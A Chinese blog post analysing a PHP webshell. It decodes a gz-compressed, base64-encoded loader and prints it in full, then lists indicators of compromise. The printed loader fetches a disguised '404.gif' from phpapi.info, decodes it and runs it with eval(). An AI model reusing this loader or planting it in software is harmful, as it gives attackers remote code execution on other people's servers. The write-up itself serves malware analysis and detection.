php包含大马执行,对于某个PHP大马的分析

25be87471e71c6afc74ca46598ff75bb.png

阅读: 87

21cbe88d3c8bbcc5ac7c1ff92549b420.png

但是代码量却非常少:

c595fb00e78aa6b64fcff85b928dcb1a.png

不由得非常好奇它是如何用这么少的代码实现这么丰富的功能的。于是将它的 html 内容打印一下:

a09ffe5687a310b3973bdfd09e7198d6.png

发现它的内容是gz压缩后再base64加密的:

7724e787bfd472d6aac1d8593f0a6083.png

于是反向执行一下,得到原始内容:

error_reporting(0);

session_start();

if (!isset($_SESSION["phpapi"])) {

$c = '';

$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));

$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");

if (function_exists('fsockopen')) {

$link = parse_url($url);

$query = $link['path'];

$host = strtolower($link['host']);

$fp = fsockopen($host, 80, $errno, $errstr, 10);

if ($fp) {

$out = "GET /{$query} HTTP/1.0\r\n";

$out .= "Host: {$host}\r\n";

$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

$inheader = 1;

$contents = "";

while (!feof($fp)) {

$line = fgets($fp, 4096);

if ($inheader == 0) {

$contents .= $line;

}

if ($inheader && ($line == "\n" || $line == "\r\n")) {

$inheader = 0;

}

}

fclose($fp);

$c = $contents;

}

}

if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_TIMEOUT, 15);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);

$c = curl_exec($ch);

curl_close($ch);

}

if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {

$temps = @file($url);

if (!empty($temps))

$c = @implode('', $temps);

if (!strpos($c, "delDirAndFile"))

$c = @file_get_contents($url);

}

if (strpos($c, $urlNew) !== false) {

$c = str_replace($urlNew, "", $c);

$_SESSION["phpapi"] = gzinflate(base64_decode($c));

}

}

if (isset($_SESSION["phpapi"])) {

eval($_SESSION["phpapi"]);

}

其中请求的url为:

http://phpapi.info/404.gif

用于替换的urlNew为:

/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/

将内容读出来之后,base64解码在用gz解压缩:

572644b0232719bd2c85ada9c435b51b.png

拿到原始的webshell文件(文件大概2960行,所以不贴全部的代码,只看一下头几行以及行数。需要的可以自己用上面的还原代码将gif内容还原为PHP文件):

5667392e4b46fc58e1fdca20db34a24a.png

该php的内容需要读取之后,放在eval()函数里执行,类似于:

eval(file_get_contents("/home/wwwroot/default/tmp.php"));

?>

整体的流程为:

74638d0fd68ef83ebc5b146471961ba8.png

所以,域名: phpapi.info 为恶意域名,上面的gif文件( http://phpapi.info/404.gif )不是普通的图片而是webshell代码。IOC:

domain:phpapi.info

url:/404.gif

md5:f1c4842de714e7480e69f41540c3626b

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值